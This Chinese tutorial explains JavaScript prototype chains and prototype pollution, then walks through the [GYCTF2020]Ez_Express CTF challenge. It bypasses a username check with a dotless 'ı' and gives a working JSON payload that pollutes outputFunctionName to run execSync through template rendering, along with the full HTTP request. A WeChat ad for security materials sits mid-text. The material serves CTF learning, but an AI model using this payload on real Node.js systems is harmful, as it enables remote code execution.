Nodejs与JavaScript和JSON
有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别,如果没有node,那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能(最出名的就是google的v8), 这也是为什么我们能在f12中直接执行JavaScript的原因。 而Nodejs则是由这个解析器单独从浏览器中拿出来,并进行了一系列的处理,最后成为了一个可以在服务端运行JavaScript的环境。 这里看到一个很好的例子,学过java的师傅应该就明白了。
那么JSON又是什么呢?简单概括一下就是JavaScript的对象表示方法,它表示的是声明对象的一种格式, 由于我们从前端接收到的数据基本都是字符串,因此在服务端如果要将这些字符串处理为其他格式,比如对象,就需要用到JSON了。
原型对象(prototype
)与原型连接点(__proto__
)与原型链
在c++或java这些面向对象的语言中,我们如果想要一个对象,首先需要使用关键字class声明一个类,再使用关键字new一个对象出来,但是在JavaScript中没有class以及类这种概念(为了简化编写JavaScript代码,ECMAScript 6后增加了class
语法,但class
其实只是一个语法糖)。 在JavaScript有这么两种声明对象的方式,为了好理解我们先引入类的思想。
person=new Object()
person.firstname="John";
person.lastname="Doe";
person.age=50;
person.eyecolor="blue";
这种创建对象的方法还有另一种写法 如下
person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};
这种方法通过直接实例化构造方法Object()来创建对象
function person(firstname,lastname,age,eyecolor) 这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器
{
this.firstname=firstname;
this.lastname=lastname;
this.age=age;
this.eyecolor=eyecolor;
}
var myFather=new person("John","Doe",50,"blue"); 通过这个“类”实例化对象
var myMother=new person("Sally","Rally",48,"green");
这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释
既然是通过实例化Object来创建对象或创建构造函数,在JavaScript中有两个很特殊的对象,Function() 和 Object() ,它们两个既是构造函数也是对象,作为对象是不是应该有一个“类”去作为他们的模板呢?
【----帮助网安学习,以下所有学习资料免费领!加@v~:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
对于Object()来说,要声明这么一个构造函数我们可以使用关键字function来创建 。(在底层 使用function创建一个函数 其实就相当于这个过程)
function Object()
{
}
在底层为
var Object = new Function();
那么对于Function自己这个对象,他是怎么来的呢?如果用Function.__proto__
和Function.prototype进行比较,发现二者是全等的,所以Function创造了自己,也创造了Object,所以JavaScript中,所有函数都是对象,而对象是通过函数创建的。因此构造函数.prototype.__proto__
应该是Object.prototype,而不是Function.prototype,Function的作用是创建而不是继承。
那么提到了__proto__
和prototype
我们就来说说这两个是什么东西。
首先我们要了解以下概念:
__proto__
是任何一个对象拥有的属性
prototype
是任何一个函数拥有的一个属性
比如
person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};
那么这个person对象就拥有了person.__proto__
这个属性,而Object()我们刚才提到了是由Function创建来的一个构造函数,那么Object就天生有了Object.prototype。
1.某一对象的 __proto__
指向它的prototype(原型对象), 也就是说如果直接访问person.__proto__
那么就相当于访问了Object.prototype。
2.JavaScript使用prototype链实现继承机制。
3.构造函数xxx.prototype是一个对象,xxx.prototype也有自己的__proto__
属性,并且可以继续指向它的的prototype。
4.Object.prototype.proto最终指向null,这也是所有原型链的终点。
5.从一个对象的__proto__
不断向上指向原型对象,最终指向Objecct.prototype后,接着指向为Null,这一条链子就叫做原型链。
如果我们有如下代码:
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
那么按照上述说法 就有如下结构
对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
- 在对象son中寻找last_name。
- 如果找不到,则在
son.__proto__
中寻找last_name。 - 如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name。 - 依次寻找,直到找到
null
结束。
原型链污染
举个栗子
// 这个对象直接实例化Object()
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
这里由于修改了foo.__proto__.bar
也就是修改了Object.bar,因此在后续的实例化对象中,新的对象会继承这一属性 造成了原型链污染。
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可。
看下面代码,一个简单的对象clone:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
// 如果target与source有相同的键名 则让target的键值为source的键值
merge(target[key], source[key])
} else {
target[key] = source[key] // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
}
}
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
这里执行后发现,虽然两个对象成功clone,但是Object()并没用被污染,这是因为在创建o2时, __proto__
是已经存在于o2中的属性了,解析器并不能将这个属性解析为键值,所以要用JSON去修改代码(前面我们说了 JSON是JavaScript的对象表示方法 可以将字符串转换为对象), 这样就可以使__proto__
被成功解析成键名了。
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
漏洞复现
[GYCTF2020]Ez_Express
进入环境之后是一个登录页面,测试之后发现存在www.zip源码泄露,开始审计index.js
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
router.get('/login', function (req, res) {
res.render('login');
});
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
看下面两段代码
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
只有用admin登录才会return,keyword 否则返回undefined,返回undefined就会弹窗forbid word,如果username经过toUpperCase后不能与原来的匹配,或password错误,就会弹窗error passwd,这也是为什么题中说用户名只支持大写。
再看这段,就很恶心,如果username为ADMIN就不能登录,又不让用admin,又得用admin登录,这里就用到了JavaScript大小写的漏洞。
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
所以用ADMıN
来绕过,注意不是ADMiN,中间那个i是一个奇怪的字符,把username输入ADMıN直接注册就可以了(题目环境怪怪的 有的时候ADMıN 不行就试试admın),登录进去还给了flag的位置。
这里试了试没啥用,继续看源码,上面提到了 merge clone操作可以控制键值和键名,从而达到污染。
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
往下看找到调用clone的位置
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
也就是说我们可以在action路由下通过请求体来进行污染,原型链污染的位置找到了,接下来就是要找到可以用来控制键名和键值的对象。
看到这段:
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
render函数应该不陌生,在模板注入攻击(SSTI)中很常见, 这里将回显req的outputFunctionNmae渲染到了index中,那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢?代码跟下来我们发现并没有outputFunctionName这个东西,也就是说它是我们可以用来污染原型链的载体,如果把Object的prototype中加上键名为outputFunctionName,键值为恶意payload的属性,那么在进行模板渲染时,是不是就会执行我们的恶意payload?
但是我们考虑一个问题,如何去修改Object的prototype ?(确实是可以的 但是有点麻烦 下面参考文章的最后一篇就是直接修改Object的prototypr)我们重新回到这段代码:
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
发现请求体被clone到了req.session.user.data中,对于req.session.user这个对象来说,它的__proto__
属性是不是就是Object的prototype,所以我们可以修改了这个对象的__proto__
从而达到目的。
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
SSTI的payload我也不是很懂,反正原理都是不断调用原型对象,最后找到一个可以用来rce的函数,payload和CVE-2019-10744
是一样的,直接搬来用了。
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}
污染成功后在info路由下调用res.outputFunctionName时,就像上面调用son.last_name
的过程一样,最终调用到了Object的outputFunctionName ,并且要让__proto__
为键名,要用JSON格式,所以要用burp拦包添加content type(在进行POST传参时必须有该头) 放个包做个参考,记得路由和传参方式也要改 再传payload。
POST /action HTTP/1.1
Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MY
Content-Type: application/json
Connection: close
Content-Length: 137
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}
在action路由下污染成功后,应该接着访问info路由进行SSTI,但是不知道为啥,我包发过去直接给flag了。